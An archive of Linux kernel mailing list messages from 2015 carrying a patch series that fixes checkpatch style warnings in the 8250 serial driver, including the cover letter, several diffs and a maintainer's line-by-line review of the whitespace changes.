Signed-off-by: Anton W=C3=BCrfel <anton.wuerfel@fau.de>
Signed-off-by: Phillip Raffeck <phillip.raffeck@fau.de>
CC: linux-kernel@i4.cs.fau.de
---
 drivers/tty/serial/8250/8250_core.c | 5 ++---
 1 file changed, 2 insertions(+), 3 deletions(-)

diff --git a/drivers/tty/serial/8250/8250_core.c b/drivers/tty/serial/8=
250/8250_core.c
index 89a20c9..67147b2 100644
--- a/drivers/tty/serial/8250/8250_core.c
+++ b/drivers/tty/serial/8250/8250_core.c
@@ -764,6 +764,7 @@ void serial8250_suspend_port(int line)
=20
 	uart_suspend_port(&serial8250_reg, port);
 }
+EXPORT_SYMBOL(serial8250_suspend_port);
=20
 /**
  *	serial8250_resume_port - resume one serial port
@@ -789,6 +790,7 @@ void serial8250_resume_port(int line)
 	}
 	uart_resume_port(&serial8250_reg, port);
 }
+EXPORT_SYMBOL(serial8250_resume_port);
=20
 /*
  * Register a set of serial devices attached to a platform device.  Th=
e
@@ -1168,9 +1170,6 @@ static void __exit serial8250_exit(void)
 module_init(serial8250_init);
 module_exit(serial8250_exit);
=20
-EXPORT_SYMBOL(serial8250_suspend_port);
-EXPORT_SYMBOL(serial8250_resume_port);
-
 MODULE_LICENSE("GPL");
 MODULE_DESCRIPTION("Generic 8250/16x50 serial driver");
=20
--=20
1.9.1


From - Thu Nov 08 21:38:06 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Anton Wuerfel <anton.wuerfel@fau.de>
Newsgroups: gmane.linux.kernel,gmane.linux.serial,gmane.linux.ports.parisc
Subject: [PATCH 00/11] tty: serial: 8250: Fix checkpatch warnings
Date: Wed, 16 Dec 2015 16:36:06 +0100
Lines: 75
Approved: news@gmane.org
Message-ID: <1450280177-4460-1-git-send-email-anton.wuerfel@fau.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1450280887 27667 80.91.229.3 (16 Dec 2015 15:48:07 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 16 Dec 2015 15:48:07 +0000 (UTC)
Cc: Greg Kroah-Hartman <gregkh@linuxfoundation.org>,
	Jiri Slaby <jslaby@suse.com>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	Helge Deller <deller@gmx.de>,
	Peter Hurley <peter@hurleysoftware.com>,
	Heikki Krogerus <heikki.krogerus@linux.intel.com>,
	Andy Shevchenko <andriy.shevchenko@linux.intel.com>,
	Qipeng Zha <qipeng.zha@intel.com>,
	Desmond Liu <desmondl@broadcom.com>,
	Wang Long <long.wanglong@huawei.com>,
	Matt Redfearn <matt.redfearn@imgtec.com>,
	Paul Burton <paul.burton@imgtec.com>,
	Ralf Baechle <ralf@linux-mips.org>,
	Krzysztof Kozlowski <k.kozlowski@samsung.com>,
	Peter Hung <hpeter@gmail.com>,
	Soeren Grunewald <soeren.grunewald@desy.de>,
	Adam Lee <adam.lee@canonical.com>,
	"Maciej S. Szmigiero" <mail@maciej.szmigiero.name>,
	Mans Rullgard <mans@mansr.com>, linux-kernel@vger.kernel.org,
	linux-parisc@vger.kernel.org, linux-kernel@i4.cs.fau.de,
	Anton Wuerfel <anto
To: linux-serial@vger.kernel.org
Original-X-From: linux-kernel-owner@vger.kernel.org Wed Dec 16 16:47:57 2015
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1a9EIw-0007UM-5C
	for glk-linux-kernel-3@plane.gmane.org; Wed, 16 Dec 2015 16:47:50 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S965828AbbLPPrI (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
	Wed, 16 Dec 2015 10:47:08 -0500
Original-Received: from faui40.informatik.uni-erlangen.de ([131.188.34.40]:45445 "EHLO
	faui40.informatik.uni-erlangen.de" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S965857AbbLPPoF (ORCPT
	<rfc822;linux-kernel@vger.kernel.org>);
	Wed, 16 Dec 2015 10:44:05 -0500
Original-Received: from faui49man2 (faui49man2.informatik.uni-erlangen.de [131.188.42.190])
	by faui40.informatik.uni-erlangen.de (Postfix) with SMTP id 9FE3158C4C6;
	Wed, 16 Dec 2015 16:36:35 +0100 (CET)
Original-Received: by faui49man2 (sSMTP sendmail emulation); Wed, 16 Dec 2015 16:36:35 +0100
X-Mailer: git-send-email 1.9.1
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2109890 gmane.linux.serial:21109 gmane.linux.ports.parisc:26197
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2109890>

This patch set fixes several checkpatch warnings in tty/serial/8250.

Patch 1/11:  Adds missing spaces (mainly to function/macro headers)
Patch 2/11:  Fixes code indentation
Patch 3/11:  Slight patch which moves an opening curly brace
Patch 4/11:  Fixes multiline comment style
Patch 5/11:  Removes else blocks after return statements
Patch 6/11:  Slight patch which moves EXPORT_SYMBOL macro to correct position
Patch 7/11:  Slight patch which removes an unneccessary line continuation
Patch 8/11:  Slight patch which adds parentheses to a macro definition
Patch 9/11:  Merges user-visible multiline strings to a single line
Patch 10/11: Replaces printk by corresponding variant of pr_*
Patch 11/11: Removes code which has been commented out

Remaining checkpatch warnings after applying this patch series:

-line over 80 characters
	This error mostly occurs in serial_cs.c, which contains long-lined
	macro calls. However, splitting these calls into multiple lines would
	not increase readability.

-externs should be avoided in .c files
	This occurs in 8250_hp300.c. There is no corresponding header file
	the extern statement could be moved to. It could be moved to 8250.h
	but this would affect other .c files.

-Use #include <linux/*.h> instead of <asm/*.h>
	This warning has been left open for more experienced kernel hackers.
	This patch series is about style issues. We do not intend to alter
	the code behavior.

-struct uart_ops should normally be const
	This warning only occurs in 8250_core.c. The corresponding struct
	cannot be declared as const because it is altered in
	serial8250_isa_init_ports(). Maybe a checkpatch exception should
	be added for this particular warning.

-quoted string split across lines
	These strings were ignored because they otherwise would exceed
	80 characters in a single line. These particular strings use
	format specifiers, which break the ability to grep for them anyway.

Anton Wuerfel (11):
Phillip Raffeck (11):
  tty: serial: 8250: Fix whitespace errors
  tty: serial: 8250: Fix indentation warnings
  tty: serial: 8250: Fix braces after struct
  tty: serial: 8250: Fix multiline comment style
  tty: serial: 8250: Remove else after return
  tty: serial: 8250: Move EXPORT_SYMBOL to function
  tty: serial: 8250: Fix line continuation warning
  tty: serial: 8250: Add parentheses to macro
  tty: serial: 8250: Fix multi-line strings
  tty: serial: 8250: Replace printk by pr_*
  tty: serial: 8250: Delete commented code

 drivers/tty/serial/8250/8250_accent.c        |   2 +-
 drivers/tty/serial/8250/8250_acorn.c         |   2 +-
 drivers/tty/serial/8250/8250_boca.c          |   2 +-
 drivers/tty/serial/8250/8250_core.c          |  16 ++-
 drivers/tty/serial/8250/8250_dw.c            |   6 ++
 drivers/tty/serial/8250/8250_exar_st16c554.c |   2 +-
 drivers/tty/serial/8250/8250_fourport.c      |   2 +-
 drivers/tty/serial/8250/8250_gsc.c           |   6 +-
 drivers/tty/serial/8250/8250_hp300.c         |  22 ++--
 drivers/tty/serial/8250/8250_hub6.c          |   2 +-
 drivers/tty/serial/8250/8250_ingenic.c       |   6 +-
 drivers/tty/serial/8250/8250_pci.c           |  60 +++++------
 drivers/tty/serial/8250/8250_pnp.c           |  16 +--
 drivers/tty/serial/8250/8250_port.c          |  49 +++++----
 drivers/tty/serial/8250/serial_cs.c          | 153 ++++++++++++++-------------
 15 files changed, 181 insertions(+), 165 deletions(-)

-- 
1.9.1

From - Thu Nov 08 21:38:07 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Anton Wuerfel <anton.wuerfel@fau.de>
Newsgroups: gmane.linux.kernel,gmane.linux.serial,gmane.linux.ports.parisc
Subject: [PATCH 08/11] tty: serial: 8250: Add parentheses to macro
Date: Wed, 16 Dec 2015 16:36:14 +0100
Lines: 27
Approved: news@gmane.org
Message-ID: <1450280177-4460-9-git-send-email-anton.wuerfel@fau.de>
References: <1450280177-4460-1-git-send-email-anton.wuerfel@fau.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: ger.gmane.org 1450280904 27892 80.91.229.3 (16 Dec 2015 15:48:24 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 16 Dec 2015 15:48:24 +0000 (UTC)
Cc: Greg Kroah-Hartman <gregkh@linuxfoundation.org>,
	Jiri Slaby <jslaby@suse.com>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	Helge Deller <deller@gmx.de>,
	Peter Hurley <peter@hurleysoftware.com>,
	Heikki Krogerus <heikki.krogerus@linux.intel.com>,
	Andy Shevchenko <andriy.shevchenko@linux.intel.com>,
	Qipeng Zha <qipeng.zha@intel.com>,
	Desmond Liu <desmondl@broadcom.com>,
	Wang Long <long.wanglong@huawei.com>,
	Matt Redfearn <matt.redfearn@imgtec.com>,
	Paul Burton <paul.burton@imgtec.com>,
	Ralf Baechle <ralf@linux-mips.org>,
	Krzysztof Kozlowski <k.kozlowski@samsung.com>,
	Peter Hung <hpeter@gmail.com>,
	Soeren Grunewald <soeren.grunewald@desy.de>,
	Adam Lee <adam.lee@canonical.com>,
	"Maciej S. Szmigiero" <mail@maciej.szmigiero.name>,
	Mans Rullgard <mans@mansr.com>, linux-kernel@vger.kernel.org,
	linux-parisc@vger.kernel.org, linux-kernel@i4.cs.fau.de,
	Anton Wuerfel <anto
To: linux-serial@vger.kernel.org
Original-X-From: linux-kernel-owner@vger.kernel.org Wed Dec 16 16:48:15 2015
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1a9EJI-0008GZ-2O
	for glk-linux-kernel-3@plane.gmane.org; Wed, 16 Dec 2015 16:48:12 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S965956AbbLPPsC convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glk-linux-kernel-3@m.gmane.org>);
	Wed, 16 Dec 2015 10:48:02 -0500
Original-Received: from faui40.informatik.uni-erlangen.de ([131.188.34.40]:45440 "EHLO
	faui40.informatik.uni-erlangen.de" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S965759AbbLPPoF (ORCPT
	<rfc822;linux-kernel@vger.kernel.org>);
	Wed, 16 Dec 2015 10:44:05 -0500
X-Greylist: delayed 445 seconds by postgrey-1.27 at vger.kernel.org; Wed, 16 Dec 2015 10:44:04 EST
Original-Received: from faui49man2 (faui49man2.informatik.uni-erlangen.de [131.188.42.190])
	by faui40.informatik.uni-erlangen.de (Postfix) with SMTP id 42EEA58C4D8;
	Wed, 16 Dec 2015 16:36:45 +0100 (CET)
Original-Received: by faui49man2 (sSMTP sendmail emulation); Wed, 16 Dec 2015 16:36:45 +0100
X-Mailer: git-send-email 1.9.1
In-Reply-To: <1450280177-4460-1-git-send-email-anton.wuerfel@fau.de>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2109891 gmane.linux.serial:21110 gmane.linux.ports.parisc:26198
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2109891>

This patch fixes a checkpatch warning caused by missing parentheses
in the definition of a macro.

Signed-off-by: Anton W=C3=BCrfel <anton.wuerfel@fau.de>
Signed-off-by: Phillip Raffeck <phillip.raffeck@fau.de>
CC: linux-kernel@i4.cs.fau.de
---
 drivers/tty/serial/8250/8250_core.c | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/drivers/tty/serial/8250/8250_core.c b/drivers/tty/serial/8=
250/8250_core.c
index 67147b2..3c29530 100644
--- a/drivers/tty/serial/8250/8250_core.c
+++ b/drivers/tty/serial/8250/8250_core.c
@@ -686,7 +686,7 @@ static int __init univ8250_console_init(void)
 }
 console_initcall(univ8250_console_init);
=20
-#define SERIAL8250_CONSOLE	&univ8250_console
+#define SERIAL8250_CONSOLE	(&univ8250_console)
 #else
 #define SERIAL8250_CONSOLE	NULL
 #endif
--=20
1.9.1


From - Thu Nov 08 21:38:07 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Anton Wuerfel <anton.wuerfel@fau.de>
Newsgroups: gmane.linux.kernel,gmane.linux.serial,gmane.linux.ports.parisc
Subject: [PATCH 03/11] tty: serial: 8250: Fix braces after struct
Date: Wed, 16 Dec 2015 16:36:09 +0100
Lines: 28
Approved: news@gmane.org
Message-ID: <1450280177-4460-4-git-send-email-anton.wuerfel@fau.de>
References: <1450280177-4460-1-git-send-email-anton.wuerfel@fau.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: ger.gmane.org 1450280927 28293 80.91.229.3 (16 Dec 2015 15:48:47 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 16 Dec 2015 15:48:47 +0000 (UTC)
Cc: Greg Kroah-Hartman <gregkh@linuxfoundation.org>,
	Jiri Slaby <jslaby@suse.com>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	Helge Deller <deller@gmx.de>,
	Peter Hurley <peter@hurleysoftware.com>,
	Heikki Krogerus <heikki.krogerus@linux.intel.com>,
	Andy Shevchenko <andriy.shevchenko@linux.intel.com>,
	Qipeng Zha <qipeng.zha@intel.com>,
	Desmond Liu <desmondl@broadcom.com>,
	Wang Long <long.wanglong@huawei.com>,
	Matt Redfearn <matt.redfearn@imgtec.com>,
	Paul Burton <paul.burton@imgtec.com>,
	Ralf Baechle <ralf@linux-mips.org>,
	Krzysztof Kozlowski <k.kozlowski@samsung.com>,
	Peter Hung <hpeter@gmail.com>,
	Soeren Grunewald <soeren.grunewald@desy.de>,
	Adam Lee <adam.lee@canonical.com>,
	"Maciej S. Szmigiero" <mail@maciej.szmigiero.name>,
	Mans Rullgard <mans@mansr.com>, linux-kernel@vger.kernel.org,
	linux-parisc@vger.kernel.org, linux-kernel@i4.cs.fau.de,
	Anton Wuerfel <anto
To: linux-serial@vger.kernel.org
Original-X-From: linux-kernel-owner@vger.kernel.org Wed Dec 16 16:48:37 2015
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1a9EJf-0000ZL-2k
	for glk-linux-kernel-3@plane.gmane.org; Wed, 16 Dec 2015 16:48:35 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S966030AbbLPPsX convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glk-linux-kernel-3@m.gmane.org>);
	Wed, 16 Dec 2015 10:48:23 -0500
Original-Received: from faui40.informatik.uni-erlangen.de ([131.188.34.40]:45442 "EHLO
	faui40.informatik.uni-erlangen.de" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S965798AbbLPPoF (ORCPT
	<rfc822;linux-kernel@vger.kernel.org>);
	Wed, 16 Dec 2015 10:44:05 -0500
Original-Received: from faui49man2 (faui49man2.informatik.uni-erlangen.de [131.188.42.190])
	by faui40.informatik.uni-erlangen.de (Postfix) with SMTP id 8283A58C4CE;
	Wed, 16 Dec 2015 16:36:39 +0100 (CET)
Original-Received: by faui49man2 (sSMTP sendmail emulation); Wed, 16 Dec 2015 16:36:39 +0100
X-Mailer: git-send-email 1.9.1
In-Reply-To: <1450280177-4460-1-git-send-email-anton.wuerfel@fau.de>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2109892 gmane.linux.serial:21111 gmane.linux.ports.parisc:26199
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2109892>

This patch fixes a checkpatch warning by moving an opening  curly brace
to its correct position

Signed-off-by: Anton W=C3=BCrfel <anton.wuerfel@fau.de>
Signed-off-by: Phillip Raffeck <phillip.raffeck@fau.de>
CC: linux-kernel@i4.cs.fau.de
---
 drivers/tty/serial/8250/8250_hp300.c | 3 +--
 1 file changed, 1 insertion(+), 2 deletions(-)

diff --git a/drivers/tty/serial/8250/8250_hp300.c b/drivers/tty/serial/=
8250/8250_hp300.c
index 38d8cb2..694b509 100644
--- a/drivers/tty/serial/8250/8250_hp300.c
+++ b/drivers/tty/serial/8250/8250_hp300.c
@@ -24,8 +24,7 @@
 #endif
=20
 #ifdef CONFIG_HPAPCI
-struct hp300_port
-{
+struct hp300_port {
 	struct hp300_port *next;	/* next port */
 	int line;			/* line (tty) number */
 };
--=20
1.9.1


From - Thu Nov 08 21:38:07 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Peter Hurley <peter@hurleysoftware.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.serial,gmane.linux.kernel
Subject: Re: [PATCH 01/11] tty: serial: 8250: Fix whitespace errors
Date: Wed, 16 Dec 2015 08:43:47 -0800
Lines: 550
Approved: news@gmane.org
Message-ID: <567194C3.1050606@hurleysoftware.com>
References: <1450280177-4460-1-git-send-email-anton.wuerfel@fau.de>
 <1450280177-4460-2-git-send-email-anton.wuerfel@fau.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=utf-8
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: ger.gmane.org 1450284247 20598 80.91.229.3 (16 Dec 2015 16:44:07 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 16 Dec 2015 16:44:07 +0000 (UTC)
Cc: linux-serial@vger.kernel.org,
	Greg Kroah-Hartman <gregkh@linuxfoundation.org>,
	Jiri Slaby <jslaby@suse.com>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	Helge Deller <deller@gmx.de>,
	Heikki Krogerus <heikki.krogerus@linux.intel.com>,
	Andy Shevchenko <andriy.shevchenko@linux.intel.com>,
	Qipeng Zha <qipeng.zha@intel.com>,
	Desmond Liu <desmondl@broadcom.com>,
	Wang Long <long.wanglong@huawei.com>,
	Matt Redfearn <matt.redfearn@imgtec.com>,
	Paul Burton <paul.burton@imgtec.com>,
	Ralf Baechle <ralf@linux-mips.org>,
	Krzysztof Kozlowski <k.kozlowski@samsung.com>,
	Peter Hung <hpeter@gmail.com>,
	Soeren Grunewald <soeren.grunewald@desy.de>,
	Adam Lee <adam.lee@canonical.com>,
	"Maciej S. Szmigiero" <mail@maciej.szmigiero.name>,
	Mans Rullgard <mans@mansr.com>, linux-kernel@vger.kernel.org,
	linux-parisc@vger.kernel.org, linux-kernel@i4.cs.fau.de,
	Phillip Raffeck <phillip.raffe
To: Anton Wuerfel <anton.wuerfel@fau.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Dec 16 17:43:56 2015
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1a9FBC-00065L-Qb
	for glpp-linux-parisc@plane.gmane.org; Wed, 16 Dec 2015 17:43:55 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S934139AbbLPQnx convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 16 Dec 2015 11:43:53 -0500
Original-Received: from mail-pf0-f177.google.com ([209.85.192.177]:33375 "EHLO
	mail-pf0-f177.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S934099AbbLPQnv (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 16 Dec 2015 11:43:51 -0500
Original-Received: by mail-pf0-f177.google.com with SMTP id e66so15110564pfe.0
        for <linux-parisc@vger.kernel.org>; Wed, 16 Dec 2015 08:43:50 -0800 (PST)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=hurleysoftware-com.20150623.gappssmtp.com; s=20150623;
        h=subject:to:references:cc:from:message-id:date:user-agent
         :mime-version:in-reply-to:content-type:content-transfer-encoding;
        bh=B5wj4G+YiDSJ/GKBhSpYQxLJMHldeYeC3RBuyhkaGVk=;
        b=U/fQmpzkF+M4o9qHvdRXdehfNmd/RnofRafIWo/iNzV70rxNS1MX/wOOS2EO8Q9Raf
         D/qZXwbBz4t/huNkLmBHwnRR+qYXrmIOwEH7mnRFIBGOH3Czt7cYMcF2ipFU2Se8zs98
         LROGOIhpiTn4RyjYVHVGdcWzGxm/fuN3zUmZwYRvGJi5Oj0zERocBpgonZiNJ+Aj44T9
         mLcOTLf0kfZfnVnw5eNHBvL3gxSYOhpcLFZj20OsQfTv1vDVLawhKa3mCtS/aSp+XsG0
         wLMlhY4A6NLtJec9nUhr46EUBAaG2PyjgExlBvC2pd3IMjP3l7I3JOpIl5sCdtYTIAAm
         AJiA==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20130820;
        h=x-gm-message-state:subject:to:references:cc:from:message-id:date
         :user-agent:mime-version:in-reply-to:content-type
         :content-transfer-encoding;
        bh=B5wj4G+YiDSJ/GKBhSpYQxLJMHldeYeC3RBuyhkaGVk=;
        b=jjM+wIFRNomLK2SjywGTcog9z1gK8pvyEBqsjIovpJzXnRWuhjZlvF+QDb1fvsBRG9
         m6AMSBYvh7Z54yMWFfAFvMUqmfRjDZkbO2yKmhIBQw3xSFCL4gzTFxFv6pR0oVeZUmq3
         QhAEbUTf92G6d7h6Qx4tJ4xod0F0ILZ3PRIHE971rbd9Jf8pRBxmeAwx7RGdYvpgGqI2
         /8wnIRZY5J/866tyxwg1Ns7is/Ih3Zyq25aWzFUgJM5xOpd0e6MEhvnzGLfuM+gGhyqP
         Y0R/C74xgg4LWmD1Hs+aMXtDadc0XYT7aNG6o6sbHp0mjrYCGY6BZuiFjeG+5uisqikg
         jFwA==
X-Gm-Message-State: ALoCoQkwpv98TXIcmHRd++ZdqMn564rJDWpBvU2/TsbnTpmLJXW5+Nec/h/qKdFO1//q+5xgQLJqXglwcA40fKO1DmPNS9b5TQ==
X-Received: by 10.98.12.21 with SMTP id u21mr6866263pfi.24.1450284230678;
        Wed, 16 Dec 2015 08:43:50 -0800 (PST)
Original-Received: from [192.168.1.4] (50-1-116-74.dsl.dynamic.fusionbroadband.com. [50.1.116.74])
        by smtp.gmail.com with ESMTPSA id l67sm5944451pfi.51.2015.12.16.08.43.48
        (version=TLSv1/SSLv3 cipher=OTHER);
        Wed, 16 Dec 2015 08:43:50 -0800 (PST)
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:38.0) Gecko/20100101
 Thunderbird/38.4.0
In-Reply-To: <1450280177-4460-2-git-send-email-anton.wuerfel@fau.de>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26200 gmane.linux.serial:21113 gmane.linux.kernel:2109931
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26200>

Hi Anton,

On 12/16/2015 07:36 AM, Anton Wuerfel wrote:
> This patch fixes whitespace errors reported by checkpatch to increase
> readability. Main focus is on missing spaces after commas in
> function headers and macros (like foo,bar edited to foo, bar).

Comments below.

> Signed-off-by: Anton W=C3=BCrfel <anton.wuerfel@fau.de>
> Signed-off-by: Phillip Raffeck <phillip.raffeck@fau.de>
> CC: linux-kernel@i4.cs.fau.de
> ---
>  drivers/tty/serial/8250/8250_accent.c        |  2 +-
>  drivers/tty/serial/8250/8250_acorn.c         |  2 +-
>  drivers/tty/serial/8250/8250_boca.c          |  2 +-
>  drivers/tty/serial/8250/8250_core.c          |  1 +
>  drivers/tty/serial/8250/8250_dw.c            |  6 +++
>  drivers/tty/serial/8250/8250_exar_st16c554.c |  2 +-
>  drivers/tty/serial/8250/8250_fourport.c      |  2 +-
>  drivers/tty/serial/8250/8250_hp300.c         |  1 +
>  drivers/tty/serial/8250/8250_hub6.c          |  2 +-
>  drivers/tty/serial/8250/8250_pci.c           |  7 +++-
>  drivers/tty/serial/8250/8250_port.c          |  3 ++
>  drivers/tty/serial/8250/serial_cs.c          | 58 ++++++++++++++----=
----------
>  12 files changed, 52 insertions(+), 36 deletions(-)
>=20
> diff --git a/drivers/tty/serial/8250/8250_accent.c b/drivers/tty/seri=
al/8250/8250_accent.c
> index 34b51c6..c480729 100644
> --- a/drivers/tty/serial/8250/8250_accent.c
> +++ b/drivers/tty/serial/8250/8250_accent.c
> @@ -10,7 +10,7 @@
>  #include <linux/init.h>
>  #include <linux/serial_8250.h>
> =20
> -#define PORT(_base,_irq)				\
> +#define PORT(_base, _irq)				\

ok

>  	{						\
>  		.iobase		=3D _base,		\
>  		.irq		=3D _irq,			\
> diff --git a/drivers/tty/serial/8250/8250_acorn.c b/drivers/tty/seria=
l/8250/8250_acorn.c
> index 549aa07..402dfdd 100644
> --- a/drivers/tty/serial/8250/8250_acorn.c
> +++ b/drivers/tty/serial/8250/8250_acorn.c
> @@ -70,7 +70,7 @@ serial_card_probe(struct expansion_card *ec, const =
struct ecard_id *id)
>  	uart.port.regshift	=3D 2;
>  	uart.port.dev	=3D &ec->dev;
> =20
> -	for (i =3D 0; i < info->num_ports; i ++) {
> +	for (i =3D 0; i < info->num_ports; i++) {

Ok

>  		uart.port.membase =3D info->vaddr + type->offset[i];
>  		uart.port.mapbase =3D bus_addr + type->offset[i];
> =20
> diff --git a/drivers/tty/serial/8250/8250_boca.c b/drivers/tty/serial=
/8250/8250_boca.c
> index d125dc1..e42a5b5 100644
> --- a/drivers/tty/serial/8250/8250_boca.c
> +++ b/drivers/tty/serial/8250/8250_boca.c
> @@ -10,7 +10,7 @@
>  #include <linux/init.h>
>  #include <linux/serial_8250.h>
> =20
> -#define PORT(_base,_irq)				\
> +#define PORT(_base, _irq)				\

Ok

>  	{						\
>  		.iobase		=3D _base,		\
>  		.irq		=3D _irq,			\
> diff --git a/drivers/tty/serial/8250/8250_core.c b/drivers/tty/serial=
/8250/8250_core.c
> index 3912646..89a20c9 100644
> --- a/drivers/tty/serial/8250/8250_core.c
> +++ b/drivers/tty/serial/8250/8250_core.c
> @@ -756,6 +756,7 @@ void serial8250_suspend_port(int line)
>  	if (!console_suspend_enabled && uart_console(port) &&
>  	    port->type !=3D PORT_8250) {
>  		unsigned char canary =3D 0xa5;
> +

Not ok.

>  		serial_out(up, UART_SCR, canary);
>  		if (serial_in(up, UART_SCR) =3D=3D canary)
>  			up->canary =3D canary;
> diff --git a/drivers/tty/serial/8250/8250_dw.c b/drivers/tty/serial/8=
250/8250_dw.c
> index a5d319e..0f67355 100644
> --- a/drivers/tty/serial/8250/8250_dw.c
> +++ b/drivers/tty/serial/8250/8250_dw.c
> @@ -102,8 +102,10 @@ static void dw8250_serial_out(struct uart_port *=
p, int offset, int value)
>  	/* Make sure LCR write wasn't ignored */
>  	if (offset =3D=3D UART_LCR) {
>  		int tries =3D 1000;
> +

Not ok.

>  		while (tries--) {
>  			unsigned int lcr =3D p->serial_in(p, UART_LCR);
> +
>  			if ((value & ~UART_LCR_SPAR) =3D=3D (lcr & ~UART_LCR_SPAR))
>  				return;
>  			dw8250_force_idle(p);
> @@ -143,8 +145,10 @@ static void dw8250_serial_outq(struct uart_port =
*p, int offset, int value)
>  	/* Make sure LCR write wasn't ignored */
>  	if (offset =3D=3D UART_LCR) {
>  		int tries =3D 1000;
> +

Not ok.

>  		while (tries--) {
>  			unsigned int lcr =3D p->serial_in(p, UART_LCR);
> +

Not ok.

In particular, I dislike separation between initialized variables and
following statements, _especially_ when the initialization is non-trivi=
al.


>  			if ((value & ~UART_LCR_SPAR) =3D=3D (lcr & ~UART_LCR_SPAR))
>  				return;
>  			dw8250_force_idle(p);
> @@ -166,8 +170,10 @@ static void dw8250_serial_out32(struct uart_port=
 *p, int offset, int value)
>  	/* Make sure LCR write wasn't ignored */
>  	if (offset =3D=3D UART_LCR) {
>  		int tries =3D 1000;
> +

Not ok.

>  		while (tries--) {
>  			unsigned int lcr =3D p->serial_in(p, UART_LCR);
> +

Not ok.

>  			if ((value & ~UART_LCR_SPAR) =3D=3D (lcr & ~UART_LCR_SPAR))
>  				return;
>  			dw8250_force_idle(p);
